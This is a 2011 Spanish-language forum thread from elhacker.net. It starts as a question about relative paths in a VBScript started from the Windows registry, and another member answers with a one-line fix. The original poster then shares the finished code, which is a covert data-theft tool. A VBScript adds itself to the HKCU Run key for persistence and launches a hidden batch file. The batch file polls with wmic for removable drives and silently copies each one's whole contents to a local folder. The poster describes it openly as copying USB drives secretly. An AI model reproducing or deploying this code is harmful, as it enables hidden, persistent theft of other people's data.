elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  script vbs con ruta relativa (SOLUCIONADO)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: script vbs con ruta relativa (SOLUCIONADO)  (Leído 10,053 veces)
soyloqbuskas

Desconectado Desconectado

Mensajes: 219


¡El conocimiento es de todos!


Ver Perfil
script vbs con ruta relativa (SOLUCIONADO)
« en: 21 Octubre 2011, 07:14 am »

Buenas a todos!
Tengo el siguiente problemilla.....llevo dandole vueltas todo el dia y me tiene un poco loco....

Tengo el siguiente script llamado sys.vbs

set objshell = createobject("wscript.shell")
objshell.run "system.bat",vbhide

Funciona perfectamente, me habre el .bat y hasta aqui todo bien.
El .bat hace una entrada en el registro para que al arrancar windows se inicie el sys.vbs

Y eso es lo que falla....la entrada en el registro esta bien hecha....pero cuando se inicia el sys.vbs da un error en la linea 2 y dice que no encuentra el archivo.....en cambio cuando ejecuto el sys.vbs con un doble click funciona perfectamente..... :$

El caso es que si cambio el script (.vbs) y le pongo la ruta absoluta (rutaAbsoluta\system.bat)   si que funciona cuando arranca windows....por tanto el problema es de la ruta del sys.vbs, pero claro por tema de portabilidad, no me interesa que use ruta absoluta, prefiero la relativa....

¿Hay alguna otra forma de poner la ruta relativa de otra manera?
¿Hay alguna forma de calcular la ruta absoluta para luego concatenar el nombre del fichero?
y la mejor pregunta de todas.....¿porque ocurre esto con la ruta relativa y no con la absoluta?

Nota: he probado con  Environment.CurrentDirectory y con App.Path y no funciona.....imagino que sera porque en un script no estan estas librerias....

Gracias, un saludo!


« Última modificación: 26 Octubre 2011, 13:38 pm por soyloqbuskas » En línea

"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw
soyloqbuskas

Desconectado Desconectado

Mensajes: 219


¡El conocimiento es de todos!


Ver Perfil
Re: script vbs con ruta relativa
« Respuesta #1 en: 26 Octubre 2011, 07:22 am »

Bueno, por mas vueltas que le doy...no soy capaz de sacar la respuesta....
Con ruta absoluta si que funciona....
Os pongo los script que me funcionan perfectamente (con ruta absoluta claro..):

Scrtipt sys.vbs
set objshell = createobject("wscript.shell")
objshell.run "C:%homepath%\Desktop\log\system.bat",vbhide


Script system.bat

@echo off

REG ADD HKCU\software\microsoft\windows\currentversion\run /v sys /d C:%homepath%\desktop\log\sys.vbs  /f
:loop
   for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
      xcopy /s %%x C:%homepath%\desktop\log
      if EXIST %%x goto end   
   )
goto loop
:end
exit /b 0


El script sys.vbs ejecuta de manera oculta al script system.bat
El system.bat, hace:
     - una entrada en el registro de inicio de sesion de usuario
     - checkea los puertos usb para detectar memorias extraibles
     - en cuanto detecta un pendrive copia todo su contenido en la carpeta log
     - y finaliza el script
     - cuando el usuario vuelva a iniciar sesion, se volvera a ejecutar todo el proceso

Y asi es como me quedan los script con ruta relativa:

Scrript sys.vbs:
set objshell = createobject("wscript.shell")
objshell.run "system.bat",vbhide


Script system.bat:
@echo off

REG ADD HKCU\software\microsoft\windows\currentversion\run /v sys /d "%cd%\sys.vbs"  /f
:loop
   for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
      xcopy /s %%x
      if EXIST %%x goto end   
   )
goto loop
:end
exit /b 0


Este 2º modelo de script, funciona con doble click en sys.vbs, pero cuando arranca la sesion no funciona, me da error en la linea 2 del sys.vbs (no puede encontrar el archivo en la ruta especificada :S)
¿como es posible que con doble click si y arrancando desde el reg no?

NOTA: trabajo con windows 7, no se si afecta....pero por si acaso lo aviso...

Gracias a todos, un saludo!


En línea

"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw
Novlucker
Ninja y
Colaborador
***
Desconectado Desconectado

Mensajes: 10.683

Yo que tu lo pienso dos veces


Ver Perfil
Re: script vbs con ruta relativa
« Respuesta #2 en: 26 Octubre 2011, 13:23 pm »

Recién lo veo :P

Código
  1. Msgbox left(wscript.scriptfullname,len(wscript.scriptfullname)-len(wscript.scriptname))

Saludos
En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein
soyloqbuskas

Desconectado Desconectado

Mensajes: 219


¡El conocimiento es de todos!


Ver Perfil
Re: script vbs con ruta relativa
« Respuesta #3 en: 26 Octubre 2011, 13:37 pm »

Esa simple linea me ha dado la vida! jajaja
Ahora funciona todo perfectamente!

Para quien quiera este script que copia los usb de manera oculta, aqui os dejo el codigo bien hecho y mejorado!

archivo sys.vbs
Código:
set objshell = createobject("wscript.shell")
rutaBat = left(wscript.scriptfullname,len(wscript.scriptfullname)-len(wscript.scriptname))
rutaSys = rutaBat &"sys.vbs"
rutaBat = rutaBat &"system.bat"
objshell.regWrite "HKCU\software\microsoft\windows\currentversion\run\sys", rutaSys, "REG_SZ"
objshell.run rutaBat,vbhide

archivo system.bat
Código:
@echo off

:loop
for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
xcopy /s %%x
if EXIST %%x goto end
)
goto loop
:end
exit /b 0

Muchisimas gracias Novlucker! ;)
Un saludo!
« Última modificación: 28 Octubre 2011, 17:15 pm por soyloqbuskas » En línea

"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Consulta ruta relativa
Java
athlit 8 14,389 Último mensaje 11 Junio 2010, 18:13 pm
por athlit
Mostrar un contenido mediante ruta relativa
GNU/Linux
lalalalalala 1 3,312 Último mensaje 8 Febrero 2012, 23:07 pm
por dato000
Script: Personalizar ruta de directorio con fecha personalizada
Scripting
Dcg29 0 2,082 Último mensaje 19 Noviembre 2014, 11:08 am
por Dcg29
Como hacer la ruta relativa.
Bases de Datos
nolasco281 1 2,509 Último mensaje 17 Diciembre 2014, 18:00 pm
por Hadess_inf
[Python] Definir ruta relativa por defecto
Python
MA40 0 2,054 Último mensaje 3 Octubre 2016, 20:05 pm
por MA40
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines